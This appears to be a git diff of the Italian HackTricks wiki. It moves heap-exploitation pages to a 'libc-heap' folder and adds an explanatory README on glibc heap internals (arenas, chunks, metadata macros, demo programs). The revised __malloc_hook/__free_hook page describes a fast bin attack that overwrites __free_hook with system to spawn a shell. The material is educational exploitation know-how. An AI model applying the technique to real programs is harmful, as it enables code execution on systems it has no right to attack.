diff --git a/SUMMARY.md b/SUMMARY.md index f611535b2..10fb234e7 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -722,31 +722,31 @@ * [Format Strings](binary-exploitation/format-strings/README.md) * [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) * [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) -* [Heap](binary-exploitation/heap/README.md) - * [Bins & Memory Allocations](binary-exploitation/heap/bins-and-memory-allocations.md) - * [Heap Memory Functions](binary-exploitation/heap/heap-memory-functions/README.md) - * [free](binary-exploitation/heap/heap-memory-functions/free.md) - * [malloc & sysmalloc](binary-exploitation/heap/heap-memory-functions/malloc-and-sysmalloc.md) - * [unlink](binary-exploitation/heap/heap-memory-functions/unlink.md) - * [Heap Functions Security Checks](binary-exploitation/heap/heap-memory-functions/heap-functions-security-checks.md) - * [Use After Free](binary-exploitation/heap/use-after-free/README.md) - * [First Fit](binary-exploitation/heap/use-after-free/first-fit.md) - * [Double Free](binary-exploitation/heap/double-free.md) - * [Overwriting a freed chunk](binary-exploitation/heap/overwriting-a-freed-chunk.md) - * [Heap Overflow](binary-exploitation/heap/heap-overflow.md) - * [Unlink Attack](binary-exploitation/heap/unlink-attack.md) - * [Fast Bin Attack](binary-exploitation/heap/fast-bin-attack.md) - * [Unsorted Bin Attack](binary-exploitation/heap/unsorted-bin-attack.md) - * [Large Bin Attack](binary-exploitation/heap/large-bin-attack.md) - * [Tcache Bin Attack](binary-exploitation/heap/tcache-bin-attack.md) - * [Off by one overflow](binary-exploitation/heap/off-by-one-overflow.md) - * [House of Spirit](binary-exploitation/heap/house-of-spirit.md) - * [House of Lore | Small bin Attack](binary-exploitation/heap/house-of-lore.md) - * [House of Einherjar](binary-exploitation/heap/house-of-einherjar.md) - * [House of Force](binary-exploitation/heap/house-of-force.md) - * [House of Orange](binary-exploitation/heap/house-of-orange.md) - * [House of Rabbit](binary-exploitation/heap/house-of-rabbit.md) - * [House of Roman](binary-exploitation/heap/house-of-roman.md) +* [Libc Heap](binary-exploitation/libc-heap/README.md) + * [Bins & Memory Allocations](binary-exploitation/libc-heap/bins-and-memory-allocations.md) + * [Heap Memory Functions](binary-exploitation/libc-heap/heap-memory-functions/README.md) + * [free](binary-exploitation/libc-heap/heap-memory-functions/free.md) + * [malloc & sysmalloc](binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md) + * [unlink](binary-exploitation/libc-heap/heap-memory-functions/unlink.md) + * [Heap Functions Security Checks](binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md) + * [Use After Free](binary-exploitation/libc-heap/use-after-free/README.md) + * [First Fit](binary-exploitation/libc-heap/use-after-free/first-fit.md) + * [Double Free](binary-exploitation/libc-heap/double-free.md) + * [Overwriting a freed chunk](binary-exploitation/libc-heap/overwriting-a-freed-chunk.md) + * [Heap Overflow](binary-exploitation/libc-heap/heap-overflow.md) + * [Unlink Attack](binary-exploitation/libc-heap/unlink-attack.md) + * [Fast Bin Attack](binary-exploitation/libc-heap/fast-bin-attack.md) + * [Unsorted Bin Attack](binary-exploitation/libc-heap/unsorted-bin-attack.md) + * [Large Bin Attack](binary-exploitation/libc-heap/large-bin-attack.md) + * [Tcache Bin Attack](binary-exploitation/libc-heap/tcache-bin-attack.md) + * [Off by one overflow](binary-exploitation/libc-heap/off-by-one-overflow.md) + * [House of Spirit](binary-exploitation/libc-heap/house-of-spirit.md) + * [House of Lore | Small bin Attack](binary-exploitation/libc-heap/house-of-lore.md) + * [House of Einherjar](binary-exploitation/libc-heap/house-of-einherjar.md) + * [House of Force](binary-exploitation/libc-heap/house-of-force.md) + * [House of Orange](binary-exploitation/libc-heap/house-of-orange.md) + * [House of Rabbit](binary-exploitation/libc-heap/house-of-rabbit.md) + * [House of Roman](binary-exploitation/libc-heap/house-of-roman.md) * [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md) * [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md) * [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md) diff --git a/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index f65d8afba..dcf70c8cd 100644 --- a/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -16,7 +16,7 @@ Altri modi per supportare HackTricks: ## **Malloc Hook** -Come puoi vedere sul [sito ufficiale di GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), la variabile **`__malloc_hook`** è un puntatore che punta all'**indirizzo di una funzione che verrà chiamata** ogni volta che viene chiamato `malloc()` **memorizzato nella sezione dati della libreria libc**. Pertanto, se questo indirizzo viene sovrascritto con un **One Gadget** ad esempio e viene chiamato `malloc`, verrà chiamato il **One Gadget**. +Come puoi vedere nel [sito ufficiale di GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), la variabile **`__malloc_hook`** è un puntatore che punta all'**indirizzo di una funzione che verrà chiamata** ogni volta che viene chiamato `malloc()` **memorizzato nella sezione dati della libreria libc**. Pertanto, se questo indirizzo viene sovrascritto con un **One Gadget** ad esempio e viene chiamato `malloc`, verrà chiamato il **One Gadget**. Per chiamare malloc è possibile aspettare che il programma lo chiami o chiamando `printf("%10000$c")` che alloca molti byte facendo sì che `libc` chiami malloc per allocarli nell'heap. @@ -32,10 +32,10 @@ Nota che i hook sono **disabilitati per GLIBC >= 2.34**. Ci sono altre tecniche ## Free Hook -Questo è stato abusato in uno degli esempi dalla pagina abusando di un attacco fast bin dopo aver abusato di un attacco unsorted bin: +Questo è stato abusato in uno degli esempi dalla pagina sfruttando un attacco fast bin dopo aver abusato un attacco unsorted bin: -{% content-ref url="../heap/unsorted-bin-attack.md" %} -[unsorted-bin-attack.md](../heap/unsorted-bin-attack.md) +{% content-ref url="../libc-heap/unsorted-bin-attack.md" %} +[unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md) {% endcontent-ref %} Un bel trucco (da [**qui**](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)) per trovare la posizione del free hook se il binario ha simboli è **fare qualcosa del genere**: @@ -63,18 +63,18 @@ Nel punto di interruzione menzionato nel codice precedente, in `$eax` sarà situ Ora viene eseguito un **attacco fast bin**: - Prima di tutto si scopre che è possibile lavorare con **chunk di dimensione 200** nella posizione **`__free_hook`**: -```c -gef➤ p &__free_hook -$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> -gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 -0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 -0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 -0x7ff1e9e6076f : 0x0000000000000000 0x0000000000000000 -0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 -``` -- Se riusciamo ad ottenere un chunk fast di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore di funzione che verrà eseguito. +- ```c + gef➤ p &__free_hook + $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> + gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 + 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 + 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 + 0x7ff1e9e6076f : 0x0000000000000000 0x0000000000000000 + 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 + ``` +- Se riusciamo ad ottenere un chunk fast di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore di funzione che verrà eseguito - Per fare ciò, viene creato un nuovo chunk di dimensione `0xfc` e la funzione merge viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin. -- Successivamente, la funzione edit viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin in modo che punti alla funzione precedente **`__free_hook`**. +- Successivamente, viene chiamata la funzione edit in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin in modo che punti alla funzione precedente **`__free_hook`**. - Quindi, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il chunk inutile precedente in modo che un altro chunk di dimensione `0x1f8` venga creato per ottenere un chunk fast bin nel **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**. - Infine, viene liberato un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione delete, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro. diff --git a/binary-exploitation/libc-heap/README.md b/binary-exploitation/libc-heap/README.md new file mode 100644 index 000000000..4ec8a5253 --- /dev/null +++ b/binary-exploitation/libc-heap/README.md @@ -0,0 +1,500 @@ +# Heap + +## Concetti di Heap + +L'heap è essenzialmente il luogo in cui un programma sarà in grado di memorizzare dati quando richiede dati chiamando funzioni come **`malloc`**, `calloc`... Inoltre, quando questa memoria non è più necessaria, viene resa disponibile chiamando la funzione **`free`**. + +Come mostrato, si trova subito dopo il caricamento del binario in memoria (controlla la sezione `[heap]`): + +
+ +### Allocazione di Chunk di Base + +Quando viene richiesto di memorizzare alcuni dati nell'heap, viene allocato uno spazio dell'heap per essi. Questo spazio apparterrà a un bin e solo i dati richiesti + lo spazio degli header del bin + l'offset della dimensione minima del bin verranno riservati per il chunk. L'obiettivo è riservare solo la memoria minima possibile senza rendere complicato trovare dove si trova ciascun chunk. Per questo, le informazioni sui metadati del chunk vengono utilizzate per sapere dove si trova ciascun chunk utilizzato/libero. + +Ci sono diversi modi per riservare lo spazio principalmente a seconda del bin utilizzato, ma una metodologia generale è la seguente: + +* Il programma inizia richiedendo una certa quantità di memoria. +* Se nella lista dei chunk c'è qualcuno abbastanza grande da soddisfare la richiesta, verrà utilizzato +* Questo potrebbe anche significare che parte del chunk disponibile verrà utilizzata per questa richiesta e il resto verrà aggiunto alla lista dei chunk +* Se non c'è alcun chunk disponibile nella lista ma c'è ancora spazio nella memoria dell'heap allocata, il gestore dell'heap crea un nuovo chunk +* Se non c'è abbastanza spazio nell'heap per allocare il nuovo chunk, il gestore dell'heap chiede al kernel di espandere la memoria allocata all'heap e quindi utilizza questa memoria per generare il nuovo chunk +* Se tutto fallisce, `malloc` restituisce null. + +Nota che se la memoria richiesta supera una soglia, verrà utilizzato **`mmap`** per mappare la memoria richiesta. + +## Aree + +Nelle applicazioni **multithread**, il gestore dell'heap deve prevenire **condizioni di gara** che potrebbero portare a crash. Inizialmente, ciò veniva fatto utilizzando un **mutex globale** per garantire che solo un thread potesse accedere all'heap alla volta, ma ciò causava **problemi di prestazioni** a causa del collo di bottiglia indotto dal mutex. + +Per affrontare questo problema, l'allocatore dell'heap ptmalloc2 ha introdotto "arene", dove **ogni arena** funge da **heap separato** con le sue **proprie** strutture **dati** e **mutex**, consentendo a più thread di eseguire operazioni sull'heap senza interferire l'uno con l'altro, purché utilizzino arene diverse. + +L'arena "principale" predefinita gestisce le operazioni sull'heap per le applicazioni single-threaded. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ciascun nuovo thread a un'arena inutilizzata, creandone di nuove se necessario, fino a un limite di 2 volte il numero di core CPU per sistemi a 32 bit e 8 volte per sistemi a 64 bit. Una volta raggiunto il limite, i **thread devono condividere le arene**, portando a una potenziale contesa. + +A differenza dell'arena principale, che si espande utilizzando la chiamata di sistema `brk`, le arene secondarie creano "subheap" utilizzando `mmap` e `mprotect` per simulare il comportamento dell'heap, consentendo flessibilità nella gestione della memoria per operazioni multithread. + +### Subheap + +I subheap fungono da riserve di memoria per le arene secondarie nelle applicazioni multithread, consentendo loro di crescere e gestire le proprie regioni di heap separatamente dall'heap principale. Ecco come i subheap differiscono dall'heap iniziale e come operano: + +1. **Heap Iniziale vs. Subheap**: +* L'heap iniziale si trova direttamente dopo il binario del programma in memoria e si espande utilizzando la chiamata di sistema `sbrk`. +* I subheap, utilizzati dalle arene secondarie, vengono creati tramite `mmap`, una chiamata di sistema che mappa una regione di memoria specificata. +2. **Riserva di Memoria con `mmap`**: +* Quando il gestore dell'heap crea un subheap, riserva un grande blocco di memoria tramite `mmap`. Questa riserva non alloca immediatamente memoria; semplicemente designa una regione che altri processi di sistema o allocazioni non dovrebbero utilizzare. +* Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per processi a 32 bit e di 64 MB per processi a 64 bit. +3. **Espansione Graduale con `mprotect`**: +* La regione di memoria riservata è inizialmente contrassegnata come `PROT_NONE`, indicando che il kernel non ha bisogno di allocare memoria fisica per questo spazio ancora. +* Per "far crescere" il subheap, il gestore dell'heap utilizza `mprotect` per cambiare le autorizzazioni delle pagine da `PROT_NONE` a `PROT_READ | PROT_WRITE`, spingendo il kernel ad allocare memoria fisica agli indirizzi precedentemente riservati. Questo approccio step-by-step consente al subheap di espandersi secondo necessità. +* Una volta esaurito l'intero subheap, il gestore dell'heap crea un nuovo subheap per continuare l'allocazione. + +### heap_info + +Questa struttura alloca le informazioni rilevanti dell'heap. Inoltre, la memoria dell'heap potrebbe non essere continua dopo ulteriori allocazioni, questa struttura memorizzerà anche tali informazioni. +```c +// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 + +typedef struct _heap_info +{ +mstate ar_ptr; /* Arena for this heap. */ +struct _heap_info *prev; /* Previous heap. */ +size_t size; /* Current size in bytes. */ +size_t mprotect_size; /* Size in bytes that has been mprotected +PROT_READ|PROT_WRITE. */ +size_t pagesize; /* Page size used when allocating the arena. */ +/* Make sure the following data is properly aligned, particularly +that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of +MALLOC_ALIGNMENT. */ +char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; +} heap_info; +``` +### malloc\_state + +**Ogni heap** (arena principale o arene di altri thread) ha una **struttura `malloc_state`.**\ +È importante notare che la **struttura `malloc_state` dell'arena principale** è una **variabile globale nella libc** (quindi situata nello spazio di memoria della libc).\ +Nel caso delle **strutture `malloc_state`** degli heap dei thread, sono situate **all'interno del "heap" del thread stesso**. + +Ci sono alcune cose interessanti da notare da questa struttura (vedi codice C sotto): + +* `__libc_lock_define (, mutex);` Serve per assicurare che questa struttura dell'heap sia accessibile da 1 thread alla volta +* Flags: +* ```c +#define NONCONTIGUOUS_BIT (2U) + +#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) +#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) +#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) +#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) +``` +* Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **blocchi** piccoli, grandi e non ordinati (il -2 è perché l'indice 0 non viene utilizzato) +* Pertanto, il **primo chunk** di questi blocchi avrà un **puntatore all'indietro a questa struttura** e l'**ultimo chunk** di questi blocchi avrà un **puntatore in avanti** a questa struttura. Ciò significa fondamentalmente che se riesci a **rilevare questi indirizzi nell'arena principale** avrai un puntatore alla struttura nella **libc**. +* Le strutture `struct malloc_state *next;` e `struct malloc_state *next_free;` sono liste collegate di arene +* Il chunk `top` è l'ultimo "chunk", che è fondamentalmente **tutto lo spazio rimanente dell'heap**. Una volta che il chunk top è "vuoto", l'heap è completamente utilizzato e ha bisogno di richiedere più spazio. +* Il chunk `last reminder` proviene dai casi in cui non è disponibile un chunk di dimensioni esatte e quindi viene diviso un chunk più grande, una parte rimanente del puntatore viene posizionata qui. +```c +// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 + +struct malloc_state +{ +/* Serialize access. */ +__libc_lock_define (, mutex); + +/* Flags (formerly in max_fast). */ +int flags; + +/* Set if the fastbin chunks contain recently inserted free blocks. */ +/* Note this is a bool but not all targets support atomics on booleans. */ +int have_fastchunks; + +/* Fastbins */ +mfastbinptr fastbinsY[NFASTBINS]; + +/* Base of the topmost chunk -- not otherwise kept in a bin */ +mchunkptr top; + +/* The remainder from the most recent split of a small request */ +mchunkptr last_remainder; + +/* Normal bins packed as described above */ +mchunkptr bins[NBINS * 2 - 2]; + +/* Bitmap of bins */ +unsigned int binmap[BINMAPSIZE]; + +/* Linked list */ +struct malloc_state *next; + +/* Linked list for free arenas. Access to this field is serialized +by free_list_lock in arena.c. */ +struct malloc_state *next_free; + +/* Number of threads attached to this arena. 0 if the arena is on +the free list. Access to this field is serialized by +free_list_lock in arena.c. */ +INTERNAL_SIZE_T attached_threads; + +/* Memory allocated from the system in this arena. */ +INTERNAL_SIZE_T system_mem; +INTERNAL_SIZE_T max_system_mem; +}; +``` +### malloc\_chunk + +Questa struttura rappresenta un particolare blocco di memoria. I vari campi hanno significati diversi per i blocchi allocati e non allocati. +```c +// https://github.com/bminor/glibc/blob/master/malloc/malloc.c +struct malloc_chunk { +INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ +INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ +struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk; +/* Only used for large blocks: pointer to next larger size. */ +struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk_nextsize; +}; + +typedef struct malloc_chunk* mchunkptr; +``` +Come già commentato in precedenza, questi chunk hanno anche alcuni metadati, molto ben rappresentati in questa immagine: + +

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

+ +Di solito i metadati sono 0x08B, indicando la dimensione corrente del chunk utilizzando gli ultimi 3 bit per indicare: + +* `A`: Se è 1 proviene da un subheap, se è 0 è nell'arena principale +* `M`: Se è 1, questo chunk fa parte di uno spazio allocato con mmap e non fa parte di un heap +* `P`: Se è 1, il chunk precedente è in uso + +Successivamente, lo spazio per i dati dell'utente e infine 0x08B per indicare la dimensione del chunk precedente quando il chunk è disponibile (o per memorizzare i dati dell'utente quando è allocato). + +Inoltre, quando disponibili, i dati dell'utente vengono utilizzati per contenere anche alcuni dati: + +* **`fd`**: Puntatore al prossimo chunk +* **`bk`**: Puntatore al chunk precedente +* **`fd_nextsize`**: Puntatore al primo chunk nella lista più piccolo di se stesso +* **`bk_nextsize`:** Puntatore al primo chunk nella lista più grande di se stesso + +

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

+ +{% hint style="info" %} +Nota come organizzare la lista in questo modo evita la necessità di avere un array in cui ogni singolo chunk viene registrato. +{% endhint %} + +### Puntatori dei Chunk + +Quando viene utilizzato malloc, viene restituito un puntatore al contenuto che può essere scritto (subito dopo gli header), tuttavia, quando si gestiscono i chunk, è necessario un puntatore all'inizio degli header (metadati).\ +Per queste conversioni vengono utilizzate queste funzioni: +```c +// https://github.com/bminor/glibc/blob/master/malloc/malloc.c + +/* Convert a chunk address to a user mem pointer without correcting the tag. */ +#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ)) + +/* Convert a user mem pointer to a chunk address and extract the right tag. */ +#define mem2chunk(mem) ((mchunkptr)tag_at (((char*)(mem) - CHUNK_HDR_SZ))) + +/* The smallest possible chunk */ +#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize)) + +/* The smallest size we can malloc is an aligned minimal chunk */ + +#define MINSIZE \ +(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) +``` +### Allineamento e dimensione minima + +Il puntatore al chunk e `0x0f` devono essere entrambi 0. +```c +// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 +#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) + +// https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/i386/malloc-alignment.h +#define MALLOC_ALIGNMENT 16 + + +// https://github.com/bminor/glibc/blob/master/malloc/malloc.c +/* Check if m has acceptable alignment */ +#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0) + +#define misaligned_chunk(p) \ +((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ +& MALLOC_ALIGN_MASK) + + +/* pad request bytes into a usable size -- internal version */ +/* Note: This must be a macro that evaluates to a compile time constant +if passed a literal constant. */ +#define request2size(req) \ +(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ +MINSIZE : \ +((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) + +/* Check if REQ overflows when padded and aligned and if the resulting +value is less than PTRDIFF_T. Returns the requested size or +MINSIZE in case the value is less than MINSIZE, or 0 if any of the +previous checks fail. */ +static inline size_t +checked_request2size (size_t req) __nonnull (1) +{ +if (__glibc_unlikely (req > PTRDIFF_MAX)) +return 0; + +/* When using tagged memory, we cannot share the end of the user +block with the header for the next chunk, so ensure that we +allocate blocks that are rounded up to the granule size. Take +care not to overflow from close to MAX_SIZE_T to a small +number. Ideally, this would be part of request2size(), but that +must be a macro that produces a compile time constant if passed +a constant literal. */ +if (__glibc_unlikely (mtag_enabled)) +{ +/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ +asm (""); + +req = (req + (__MTAG_GRANULE_SIZE - 1)) & +~(size_t)(__MTAG_GRANULE_SIZE - 1); +} + +return request2size (req); +} +``` +### Ottenere i dati del Chunk e modificare i metadati + +Queste funzioni funzionano ricevendo un puntatore a un chunk e sono utili per controllare/impostare i metadati: + +* Controllare i flag del chunk +```c +// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c + + +/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */ +#define PREV_INUSE 0x1 + +/* extract inuse bit of previous chunk */ +#define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE) + + +/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */ +#define IS_MMAPPED 0x2 + +/* check for mmap()'ed chunk */ +#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED) + + +/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained +from a non-main arena. This is only set immediately before handing +the chunk to the user, if necessary. */ +#define NON_MAIN_ARENA 0x4 + +/* Check for chunk from main arena. */ +#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0) + +/* Mark a chunk as not being on the main arena. */ +#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) +``` +* Dimensioni e puntatori ad altri chunk +```c +/* +Bits to mask off when extracting size + +Note: IS_MMAPPED is intentionally not masked off from size field in +macros for which mmapped chunks should never be seen. This should +cause helpful core dumps to occur if it is tried by accident by +people extending or adapting this malloc. +*/ +#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) + +/* Get size, ignoring use bits */ +#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS)) + +/* Like chunksize, but do not mask SIZE_BITS. */ +#define chunksize_nomask(p) ((p)->mchunk_size) + +/* Ptr to next physical malloc_chunk. */ +#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p))) + +/* Size of the chunk below P. Only valid if !prev_inuse (P). */ +#define prev_size(p) ((p)->mchunk_prev_size) + +/* Set the size of the chunk below P. Only valid if !prev_inuse (P). */ +#define set_prev_size(p, sz) ((p)->mchunk_prev_size = (sz)) + +/* Ptr to previous physical malloc_chunk. Only valid if !prev_inuse (P). */ +#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p))) + +/* Treat space at ptr + offset as a chunk */ +#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) +``` +* Iniettare bit +```c +/* extract p's inuse bit */ +#define inuse(p) \ +((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) + +/* set/clear chunk as being inuse without otherwise disturbing */ +#define set_inuse(p) \ +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE + +#define clear_inuse(p) \ +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) + + +/* check/set/clear inuse bits in known places */ +#define inuse_bit_at_offset(p, s) \ +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) + +#define set_inuse_bit_at_offset(p, s) \ +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) + +#define clear_inuse_bit_at_offset(p, s) \ +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) +``` +* Imposta l'intestazione e il piè di pagina (quando i numeri di chunk sono in uso) +```c +/* Set size at head, without disturbing its use bit */ +#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) + +/* Set size/use field */ +#define set_head(p, s) ((p)->mchunk_size = (s)) + +/* Set size at footer (only when chunk is not in use) */ +#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) +``` +* Ottenere la dimensione dei dati effettivamente utilizzabili all'interno del chunk +```c +#pragma GCC poison mchunk_size +#pragma GCC poison mchunk_prev_size + +/* This is the size of the real usable data in the chunk. Not valid for +dumped heap chunks. */ +#define memsize(p) \ +(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ +chunksize (p) - CHUNK_HDR_SZ : \ +chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) + +/* If memory tagging is enabled the layout changes to accommodate the granule +size, this is wasteful for small allocations so not done by default. +Both the chunk header and user data has to be granule aligned. */ +_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ, +"memory tagging is not supported with large granule."); + +static __always_inline void * +tag_new_usable (void *ptr) +{ +if (__glibc_unlikely (mtag_enabled) && ptr) +{ +mchunkptr cp = mem2chunk(ptr); +ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); +} +return ptr; +} +``` +## Esempi + +### Esempio Veloce di Heap + +Esempio veloce di heap da [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) ma in arm64: +```c +#include +#include +#include + +void main(void) +{ +char *ptr; +ptr = malloc(0x10); +strcpy(ptr, "panda"); +} +``` +Imposta un breakpoint alla fine della funzione principale e scopriamo dove le informazioni sono state memorizzate: + +
+ +È possibile vedere che la stringa panda è stata memorizzata a `0xaaaaaaac12a0` (che è l'indirizzo restituito da malloc all'interno di `x0`). Controllando 0x10 byte prima, è possibile vedere che il `0x0` rappresenta che il **chunk precedente non è in uso** (lunghezza 0) e che la lunghezza di questo chunk è `0x21`. + +Gli spazi extra riservati (0x21-0x10=0x11) provengono dagli **header aggiunti** (0x10) e 0x1 non significa che sono stati riservati 0x21 byte ma gli ultimi 3 bit della lunghezza dell'header corrente hanno alcuni significati speciali. Poiché la lunghezza è sempre allineata su 16 byte (nelle macchine a 64 bit), questi bit non verranno mai utilizzati dal numero di lunghezza. +``` +0x1: Previous in Use - Specifies that the chunk before it in memory is in use +0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() +0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena +``` +### Esempio di Multithreading + +
+ +Multithread +```c +#include +#include +#include +#include +#include + + +void* threadFuncMalloc(void* arg) { +printf("Hello from thread 1\n"); +char* addr = (char*) malloc(1000); +printf("After malloc and before free in thread 1\n"); +free(addr); +printf("After free in thread 1\n"); +} + +void* threadFuncNoMalloc(void* arg) { +printf("Hello from thread 2\n"); +} + + +int main() { +pthread_t t1; +void* s; +int ret; +char* addr; + +printf("Before creating thread 1\n"); +getchar(); +ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); +getchar(); + +printf("Before creating thread 2\n"); +ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); + +printf("Before exit\n"); +getchar(); + +return 0; +} +``` +
+ +Debuggando l'esempio precedente è possibile vedere come all'inizio ci sia solo 1 arena: + +
+ +Poi, dopo aver chiamato il primo thread, quello che chiama malloc, viene creata una nuova arena: + +
+ +e al suo interno è possibile trovare alcuni chunk: + +
+ +## Bins & Assegnazioni/Liberazioni di Memoria + +Controlla quali sono i bins e come sono organizzati e come la memoria viene assegnata e liberata in: + +{% content-ref url="bins-and-memory-allocations.md" %} +[bins-and-memory-allocations.md](bins-and-memory-allocations.md) +{% endcontent-ref %} + +## Controlli di Sicurezza delle Funzioni di Heap + +Le funzioni coinvolte nell'heap eseguiranno determinati controlli prima di eseguire le loro azioni per cercare di assicurarsi che l'heap non sia stato corrotto: + +{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %} +[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md) +{% endcontent-ref %} + +## Riferimenti + +* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) +* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/binary-exploitation/libc-heap/bins-and-memory-allocations.md new file mode 100644 index 000000000..5a67ae8fe --- /dev/null +++ 